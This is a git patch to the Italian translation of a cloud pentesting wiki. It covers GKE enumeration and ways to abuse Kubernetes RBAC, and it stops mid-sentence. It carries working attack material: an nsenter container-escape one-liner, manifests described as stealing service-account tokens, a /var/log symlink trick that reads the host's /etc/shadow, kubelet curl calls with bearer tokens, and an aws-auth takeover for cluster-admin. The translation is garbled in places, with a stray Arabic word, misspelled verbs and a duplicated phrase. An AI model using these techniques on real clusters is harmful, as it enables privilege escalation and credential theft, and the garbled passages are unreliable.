From e44aac484e4c6143a027363e509b64ea440ed4b1 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jul 2026 22:51:36 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/exposing-servi --- .../gcp-containers-gke-and-composer-enum.md | 56 +-- .../README.md | 340 +++++++++++------- .../exposing-services-in-kubernetes.md | 119 ++++-- .../kubernetes-enumeration.md | 240 ++++++++----- .../kubernetes-securitycontext-s.md | 87 +++-- .../kubernetes-network-attacks.md | 81 +++-- .../kubernetes-pivoting-to-clouds.md | 155 +++++--- ...bernetes-role-based-access-control-rbac.md | 66 ++-- ...bernetes-validatingwebhookconfiguration.md | 113 ++++-- .../pentesting-kubernetes-services/README.md | 97 +++-- 10 files changed, 852 insertions(+), 502 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index 75b575fbb..2d6b01db9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -1,10 +1,10 @@ -# GCP - Enumerazione di Containers e GKE +# GCP - Containers & GKE Enum {{#include ../../../banners/hacktricks-training.md}} ## Containers -Nei container GCP puoi trovare la maggior parte dei servizi basati su container offerti da GCP, qui puoi vedere come enumerare i più comuni: +Nei containers di GCP puoi trovare la maggior parte dei servizi basati su containers offerti da GCP, qui puoi vedere come enumerare quelli più comuni: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -Nella pagina seguente puoi controllare come **abusare dei permessi dei container per escalare i privilegi**: +Nella seguente pagina puoi vedere come **abuse container permissions per escalare privilegi**: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ Nella pagina seguente puoi controllare come **abusare dei permessi dei container ## Node Pools -Questi sono i pool di macchine (nodi) che formano i cluster kubernetes. +Questi sono il pool di macchine (nodes) che formano i clusters kubernetes. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster --zone --region \ +--format='value(workloadIdentityConfig.workloadPool)' -La tecnica utilizzata è spiegata nei seguenti post: +kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' +``` +Se un service account ha l'annotazione `iam.gke.io/gcp-service-account`, esamina la policy IAM del service account per concessioni di `roles/iam.workloadIdentityUser` a principal di Kubernetes service account. Controlla anche le allow policy IAM per principal di Workload Identity diretti o insiemi di principal troppo ampi. + +L'accesso ai metadata dipende dalla modalità del cluster, dalla configurazione del node pool e dalle impostazioni del workload. Non dare per scontato che ogni pod possa rubare il service account del nodo. Negli ambienti con Workload Identity abilitato, i pod ordinari dovrebbero usare il GKE metadata server per ottenere l'identità di Workload Identity prevista per il loro Kubernetes service account. La compromissione del nodo, i pod `hostNetwork` in alcune configurazioni Standard e l'esposizione legacy dei metadata del nodo possono ancora cambiare il raggio d'impatto, quindi verifica la reale modalità dei metadata del node pool, il node service account, gli OAuth scopes e il posizionamento dei pod. + +### TLS Boostrap Privilege Escalation + +Inizialmente questa tecnica di privilege escalation permetteva di fare **privesc dentro il cluster GKE**, consentendo di fatto a un attacker di **comprometterlo بالكامل**. + +Questo perché GKE fornisce [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nei metadata, che sono **accessibili a chiunque semplicemente compromettendo un pod**. + +La tecnica usata è spiegata nei seguenti post: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -E questo strumento è stato creato per automatizzare il processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +E questo tool è stato creato per automatizzare il processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Tuttavia, la tecnica abusava del fatto che **con le credenziali dei metadati** era possibile **generare un CSR** (Certificate Signing Request) per un **nuovo nodo**, che era **automaticamente approvato**.\ -Nel mio test ho verificato che **quelle richieste non sono più automaticamente approvate**, quindi non sono sicuro se questa tecnica sia ancora valida. +Tuttavia, la tecnica abusava del fatto che **con le credenziali dei metadata** era possibile **generare una CSR** (Certificate Signing Request) per un **nuovo nodo**, che veniva **approvata automaticamente**.\ +Nei miei test ho verificato che **quelle richieste non vengono più approvate automaticamente**, quindi non sono sicuro che questa tecnica sia ancora valida. -### Segreti nell'API Kubelet +### Secrets in Kubelet API -In [**questo post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) è stata scoperta un'indirizzo API Kubelet accessibile dall'interno di un pod in GKE che fornisce i dettagli dei pod in esecuzione: +In [**questo post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) è stato scoperto è stato scoperto un indirizzo della Kubelet API accessibile dall'interno di un pod in GKE che forniva i dettagli dei pod in esecuzione: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Anche se l'API **non consente di modificare le risorse**, potrebbe essere possibile trovare **informazioni sensibili** nella risposta. L'endpoint /pods è stato trovato utilizzando [**Kiterunner**](https://github.com/assetnote/kiterunner). +Anche se l'API **non consente di modificare le risorse**, potrebbe essere possibile trovare **informazioni sensibili** nella risposta. L'endpoint /pods è stato trovato usando [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 470927532..c4ab423ee 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abuso di Roles/ClusterRoles in Kubernetes +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Qui puoi trovare alcune configurazioni potenzialmente pericolose di Roles e ClusterRoles.\ +Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.\ Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources` ## **Privilege Escalation** -Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: +Si riferisce all'arte di ottenere **accesso a un principal diverso** all'interno del cluster **con privilegi diversi** (all'interno del kubernetes cluster o verso cloud esterni) rispetto a quelli che hai già. In Kubernetes esistono fondamentalmente **4 tecniche principali per fare privilege escalation**: -- Essere in grado di **impersonate** altri user/groups/SAs con privilegi maggiori all'interno del cluster kubernetes o verso cloud esterni -- Essere in grado di **create/patch/exec pods** dove puoi **find or attach SAs** con privilegi maggiori all'interno del cluster kubernetes o verso cloud esterni -- Essere in grado di **read secrets** dato che i token delle SAs sono memorizzati come secrets -- Essere in grado di **escape to the node** da un container, dove puoi rubare tutti i secrets dei container in esecuzione sul node, le credenziali del node e i permessi del node nel cloud in cui è in esecuzione (se presenti) -- Una quinta tecnica che merita menzione è la capacità di **run port-forward** in un pod, poiché potresti accedere a risorse interessanti all'interno di quel pod. +- Essere in grado di **impersonate** altri user/groups/SAs con privilegi migliori all'interno del kubernetes cluster o verso cloud esterni +- Essere in grado di **create/patch/exec pods** dove puoi **trovare o attach SAs** con privilegi migliori all'interno del kubernetes cluster o verso cloud esterni +- Essere in grado di **read secrets** poiché i token delle SAs sono memorizzati come secrets +- Essere in grado di **escape to the node** da un container, dove puoi rubare tutti i secrets dei container in esecuzione sul node, le credenziali del node e i permessi del node all'interno del cloud in cui sta girando (se presente) +- Una quinta tecnica che merita una menzione è la possibilità di **run port-forward** in un pod, perché potresti riuscire ad accedere a risorse interessanti all'interno di quel pod. ### Access Any Resource or Verb (Wildcard) -The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster +Il **wildcard (\*) concede permessi su qualsiasi resource con qualsiasi verb**. È usato dagli admin. Dentro un ClusterRole questo significa che un attacker potrebbe abuse qualsiasi namespace nel cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Accedi a qualsiasi risorsa con un verbo specifico +### Accedi a qualsiasi resource con un verb specifico -In RBAC, certe autorizzazioni comportano rischi significativi: +In RBAC, alcune permissions rappresentano rischi significativi: -1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando escalation dei privilegi. -2. **`list`:** Permette di elencare tutte le risorse, potenzialmente causando leak di dati sensibili. -3. **`get`:** Consente di accedere ai secrets da service accounts, rappresentando una minaccia alla sicurezza. +1. **`create`:** Concede la possibilità di creare qualsiasi cluster resource, con rischio di privilege escalation. +2. **`list`:** Consente di elencare tutte le resources, con potenziale leak di dati sensibili. +3. **`get`:** Permette di accedere ai secrets degli service accounts, ponendo una minaccia alla sicurezza. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Un attacker con i permessi per creare un pod può associare un Service Account privilegiato al pod e rubare il token per impersonare il Service Account, scalando di fatto i suoi privilegi. +Un attaccante con i permessi per creare un pod potrebbe associare un Service Account privilegiato al pod e rubare il token per impersonare il Service Account. In pratica, elevando i privilegi a quelli del Service Account -Esempio di un pod che ruberà il token del `bootstrap-signer` service account e lo invierà all'attacker: +Esempio di un pod che ruberà il token del service account `bootstrap-signer` e lo invierà all'attaccante: ```yaml apiVersion: v1 kind: Pod @@ -74,10 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape +Quanto segue indica tutti i privilegi che un container può avere: + - **Privileged access** (disabilitando le protezioni e impostando capabilities) -- **Disable namespaces hostIPC and hostPid** che possono aiutare a ottenere l'elevazione dei privilegi -- **Disable hostNetwork** namespace, permettendo di rubare i privilegi cloud dei nodes e di avere un accesso migliore alle reti -- **Mount hosts /** all'interno del container +- **Disable namespaces hostIPC and hostPid** che possono aiutare a elevare i privilegi +- **Disable hostNetwork** namespace, dando accesso a rubare i privilegi cloud dei nodi e un accesso migliore alle networks +- **Mount hosts / inside the container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -117,15 +119,15 @@ Crea il pod con: ```bash kubectl --token $token create -f mount_root.yaml ``` -One-liner da [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte: +One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ora che puoi evadere sul nodo, consulta le tecniche di post-exploitation in: +Now that you can escape to the node check post-exploitation techniques in: #### Stealth -Probabilmente vorrai essere **più stealth**, nelle pagine seguenti puoi vedere a cosa potresti avere accesso se crei un pod abilitando soltanto alcuni dei privilegi menzionati nel template precedente: +Probabilmente vuoi essere più **stealthier**, nelle pagine seguenti puoi vedere a cosa saresti in grado di accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente: - **Privileged + hostPID** - **Privileged only** @@ -134,14 +136,14 @@ Probabilmente vorrai essere **più stealth**, nelle pagine seguenti puoi vedere - **hostNetwork** - **hostIPC** -_Puoi trovare esempi su come creare/abuse le precedenti configurazioni di privileged pods in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Puoi trovare esempi di come creare/abuse delle precedenti configurazioni di pod privileged in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Creazione Pod - Spostarsi sul cloud +### Pod Create - Move to cloud -Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando cloud roles a un pod o a un service account e poi accedendovi. -Inoltre, se puoi creare un **pod con il namespace della rete host** puoi **rubare il ruolo IAM** dell'istanza **node**. +Se puoi **create** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** **assegnando ruoli cloud a un pod o a un service account** e poi accedendovi.\ +Inoltre, se puoi creare un **pod con il host network namespace** puoi **rubare il ruolo IAM** dell'istanza del **node**. -For more information check: +Per maggiori informazioni controlla: {{#ref}} pod-escape-privileges.md @@ -149,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -È possibile abusare di questi permessi per **creare un nuovo pod** e **escalare i privilegi** come nell'esempio precedente. +È possibile abouse these permissions per **creare un nuovo pod** ed estalae privileges come nell'esempio precedente. -Il seguente yaml **crea un daemonset ed esfiltra il token del SA** all'interno del pod: +Il seguente yaml **crea un daemonset ed esfiltra il token della SA** all'interno del pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -187,34 +189,34 @@ volumes: hostPath: path: / ``` -### **Esecuzione nei Pod** +### **Pods Exec** -**`pods/exec`** è una risorsa in kubernetes usata per **eseguire comandi in una shell all'interno di un pod**. Questo permette di **eseguire comandi all'interno dei container o ottenere una shell al loro interno**. +**`pods/exec`** è una risorsa in kubernetes usata per **eseguire comandi in una shell all'interno di un pod**. Questo permette di **eseguire comandi dentro i containers o ottenere una shell all'interno**. -Pertanto, è possibile **entrare in un pod e rubare il token della SA**, o accedere a un pod privilegiato, evadere verso il nodo, e rubare tutti i token dei pod nel nodo e (ab)usare il nodo: +Pertanto, è possibile **entrare in un pod e rubare il token della SA**, oppure entrare in un pod privilegiato, uscire sul nodo e rubare tutti i token dei pod nel nodo e (ab)use the node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Per impostazione predefinita il comando viene eseguito nel primo container del pod. Ottieni **tutti i pods in un container** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it -c -- sh` +> Di default il comando viene eseguito nel primo container del pod. Ottieni **tutti i pod in un container** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it -c -- sh` -Se è un container distroless puoi provare a usare le **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come una **busybox** usando: **`kubectl cp :`**. +Se è un container distroless, potresti provare a usare **shell builtins** per ottenere info dei container o caricare i tuoi strumenti come un **busybox** usando: **`kubectl cp :`**. ### port-forward -Questo permesso permette di **forwardare una porta locale verso una porta nel pod specificato**. È pensato per permettere di effettuare il debug delle applicazioni che girano all'interno di un pod in modo semplice, ma un attacker potrebbe abusarne per ottenere accesso a servizi interessanti (come DBs) o ad applicazioni vulnerabili (webs?) all'interno di un pod: +Questo permission permette di **inoltrare una porta locale verso una porta nel pod specificato**. L’obiettivo è poter fare facilmente debug delle applicazioni in esecuzione dentro un pod, ma un attacker potrebbe abusarne per ottenere accesso ad applicazioni interessanti (come DBs) o vulnerabili (webs?) dentro un pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la **hosts `/var/log/` directory mounted** su di esso, puoi **escape from the container**.\ -Questo accade perché quando la **Kube-API tenta di ottenere i log** di un container (usando `kubectl logs `), richiede il file `0.log` del pod tramite l'endpoint `/logs/` del servizio **Kubelet**.\ -Il servizio Kubelet espone l'endpoint `/logs/` che, di fatto, **espone il filesystem `/var/log` del container**. +Come [**indicato in questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la directory **hosts `/var/log/` montata** su di esso, puoi **escape dal container**.\ +Questo è sostanzialmente perché quando la **Kube-API prova a ottenere i log** di un container (usando `kubectl logs `), **richiede il file `0.log`** del pod tramite l'endpoint `/logs/` del servizio **Kubelet**.\ +Il servizio Kubelet espone l'endpoint `/logs/` che, in pratica, **espone il filesystem `/var/log` del container**. Pertanto, un attacker con **accesso in scrittura alla cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi: -- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) in modo che sia un **symlink pointing to `/etc/shadow`**, per esempio. Then, you will be able to exfiltrate hosts shadow file doing: +- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) in modo che sia un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di exfiltrate il file shadow dell'host facendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Se l'attaccante controlla qualsiasi principal con i **permessi di lettura di `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` che punti a `/` e quando **accederà a `https://:10250/logs/sym/` elencherà il filesystem root dell'host** (modificando il symlink si può ottenere accesso a file). +- Se l'attaccante controlla qualsiasi principal con i **permessi per leggere `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` verso `/` e, quando **accede a `https://:10250/logs/sym/` elencherà** il filesystem root dell'host (cambiare il symlink può fornire accesso ai file). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,21 +238,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// ``` **Un laboratorio e un exploit automatizzato possono essere trovati in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Bypass della protezione readOnly +#### Bypassing readOnly protection Se sei abbastanza fortunato e la capability altamente privilegiata `CAP_SYS_ADMIN` è disponibile, puoi semplicemente rimontare la cartella come rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Elusione della protezione hostPath readOnly +#### Aggirare la protezione readOnly di hostPath -Come indicato in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) è possibile eludere la protezione: +Come indicato in [**questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) è possibile aggirare la protezione: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Questo era pensato per prevenire escape come quelli precedenti, utilizzando, invece di un hostPath mount, un PersistentVolume e un PersistentVolumeClaim per montare una cartella hosts nel container con accesso in scrittura: +Che era pensato per prevenire escape come i precedenti, usando invece di un hostPath mount un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell’host nel container con accesso in scrittura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Impersonating privileged accounts** +### **Impersonare account privilegiati** -Con il privilegio [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attacker può impersonare un account privilegiato. +Con un privilegio di [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attacker potrebbe impersonare un account privilegiato. -Basta usare il parametro `--as=` nel comando `kubectl` per impersonare un utente, oppure `--as-group=` per impersonare un gruppo: +Basta usare il parametro `--as=` nel comando `kubectl` per impersonare un user, oppure `--as-group=` per impersonare un group: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -313,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Elencare i Secrets +### Elenco dei Secrets -Il permesso di **list secrets potrebbe consentire a un attacker di leggere effettivamente i secrets** accedendo al REST API endpoint: +Il permesso di **list secrets potrebbe consentire a un attacker di leggere effettivamente i secrets** accedendo all'endpoint REST API: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Creazione e lettura dei Secrets +### Creazione e lettura di Secrets -Esiste un tipo speciale di Kubernetes Secret di tipo **kubernetes.io/service-account-token** che memorizza i token dei serviceaccount. -Se hai i permessi per creare e leggere i Secret, e conosci anche il nome del serviceaccount, puoi creare un Secret come segue e poi rubare il token del serviceaccount vittima da esso: +Esiste un tipo speciale di Kubernetes Secret di tipo **kubernetes.io/service-account-token** che memorizza i token dei service account. Le versioni moderne di Kubernetes **non** creano automaticamente un Secret long-lived per ogni ServiceAccount; i TokenRequest proiettati e vincolati sono il normale percorso per i workload. Tuttavia, i Secret del token del service account creati manualmente sono ancora supportati, e i cluster aggiornati o legacy possono ancora contenere Secret di token long-lived. I cluster attuali possono anche contrassegnare come invalidi i Secret legacy auto-generati non usati e infine rimuoverli, lasciando label come `kubernetes.io/legacy-token-invalid-since` e `kubernetes.io/legacy-token-last-used`. + +Se hai i permessi per creare e leggere secrets, e conosci anche il nome del serviceaccount, puoi creare un secret come segue e poi rubare il token del serviceaccount della vittima da esso: ```yaml apiVersion: v1 kind: Secret @@ -333,7 +336,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Esempio exploitation: +Esempio di exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -381,18 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Nota che se sei autorizzato a creare e leggere secrets in un determinato namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace. +Nota che, se hai il permesso di creare e leggere secrets in un certo namespace, anche il victim serviceaccount deve trovarsi in quello stesso namespace. -### Lettura di un secret – brute-forcing token IDs +### Reading a secret – brute-forcing token IDs -Sebbene un attaccante in possesso di un token con permessi di lettura richieda il nome esatto del secret per usarlo, a differenza del privilegio più ampio di _**listing secrets**_, esistono comunque delle vulnerabilità. I Default service accounts nel sistema possono essere enumerati, ciascuno associato a un secret. Questi secret hanno una struttura del nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Anche se un attacker in possesso di un token con permessi di lettura richiede il nome esatto del secret per usarlo, a differenza del privilegio più ampio di _**listing secrets**_, esistono comunque vulnerabilità. I service account predefiniti nel sistema possono essere enumerati, ciascuno associato a un secret. Questi secret hanno una struttura del nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), invece dell'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe realisticamente eseguire un attacco brute-force per dedurre il token in poche ore, portando potenzialmente a un'elevazione dei privilegi accedendo a service accounts sensibili. +Il token viene generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), invece dell’intero intervallo alfanumerico. Questa limitazione riduce il totale delle combinazioni possibili a 14,348,907 (27^5). Di conseguenza, un attacker potrebbe eseguire in modo fattibile un attacco brute-force per dedurre il token in poche ore, portando potenzialmente a una privilege escalation accedendo a service account sensibili. -### EncrpytionConfiguration in chiaro +### EncrpytionConfiguration in clear text -È possibile trovare chiavi in chiaro per cifrare i dati a riposo in questo tipo di oggetto, per esempio: +È possibile trovare chiavi in clear text per encrypt data at rest in questo tipo di oggetto come: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +452,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Richieste di firma del certificato +### Certificate Signing Requests -Se hai il verbo **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`), puoi **creare** un nuovo CeSR di un **nuovo nodo.** +Se hai i verbi **`create`** nella risorsa `certificatesigningrequests` ( o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo node.** -Secondo la [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non ti servono permessi aggiuntivi**. Se non è così, dovrai essere in grado di approvare la richiesta, il che significa avere update su `certificatesigningrequests/approval` e `approve` su `signers` con resourceName `/` o `/*` +Secondo la [documentazione è possibile auto approvare queste request](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non servono permessi extra**. Se no, dovresti essere in grado di approvare la request, il che significa update in `certificatesigningrequests/approval` e `approve` in `signers` con resourceName `/` o `/*` -Un **esempio di role** con tutti i permessi richiesti è: +Un **esempio di un role** con tutti i permessi richiesti è: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,19 +489,19 @@ resourceNames: verbs: - approve ``` -Quindi, con la nuova node CSR approvata, puoi **abuse** le autorizzazioni speciali dei node per **steal secrets** e **escalate privileges**. +Quindi, con la nuova CSR del node approvata, puoi **abuse** dei permessi speciali dei nodes per **steal secrets** ed **escalate privileges**. -Nei [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la GKE K8s TLS Bootstrap configuration è impostata con **automatic signing** ed è abusata per generare le credenziali di un nuovo K8s Node e poi sfruttare quelle per escalate privileges rubando secrets.\ -Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio aggira l'errore che impedisce a un nuovo node di accedere ai secrets all'interno dei containers perché un **node can only access the secrets of containers mounted on it.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configurazione GKE K8s TLS Bootstrap è configurata con **automatic signing** e viene abuse per generare le credenziali di un nuovo K8s Node e poi abuse di quelle per escalare i privilegi rubando secrets.\ +Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo node di accedere ai secrets dentro i containers perché un **node può accedere solo ai secrets dei containers montati su di esso.** -Il modo per aggirare questo è semplicemente **create a node credentials for the node name where the container with the interesting secrets is mounted** (ma vedi come farlo nel primo post): +Il modo per bypassare questo è semplicemente **creare le credenziali di un node per il nome del node su cui è montato il container con i secrets interessanti** (ma controlla solo come farlo nel primo post): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -I principals che possono modificare **`configmaps`** nel namespace kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di cluster-admin sovrascrivendo il configmap **aws-auth**.\ -I verbi necessari sono **`update`** e **`patch`**, oppure **`create`** se il configmap non è stato creato: +I principal che possono modificare **`configmaps`** nel namespace kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di cluster admin sovrascrivendo il configmap **aws-auth**.\ +I verbi necessari sono **`update`** e **`patch`**, oppure **`create`** se il configmap non era stato creato: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,16 +541,16 @@ groups: - system:masters ``` > [!WARNING] -> Puoi usare **`aws-auth`** per **persistence** concedendo accesso a utenti da **altri account**. +> Puoi usare **`aws-auth`** per **persistence** dando accesso a utenti di **other accounts**. > > Tuttavia, `aws --profile other_account eks update-kubeconfig --name ` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\ -> Per far funzionare `kubectl`, assicurati solo di **configurare** la **kubeconfig della vittima** e negli aws exec args aggiungi `--profile other_account_role` così kubectl utilizzerà il profilo dell'altro account per ottenere il token e contattare AWS. +> Per far funzionare `kubectl`, assicurati solo di **configurare** il **victims kubeconfig** e negli aws exec args aggiungi `--profile other_account_role` così kubectl userà il profile dell'altro account per ottenere il token e contattare AWS. ### CoreDNS config map -Se hai i permessi per modificare la **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini vengono risolti per poter eseguire attacchi MitM e **rubare informazioni sensibili o iniettare contenuti malevoli**. +Se hai i permessi per modificare la **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per **rubare informazioni sensibili o iniettare contenuti 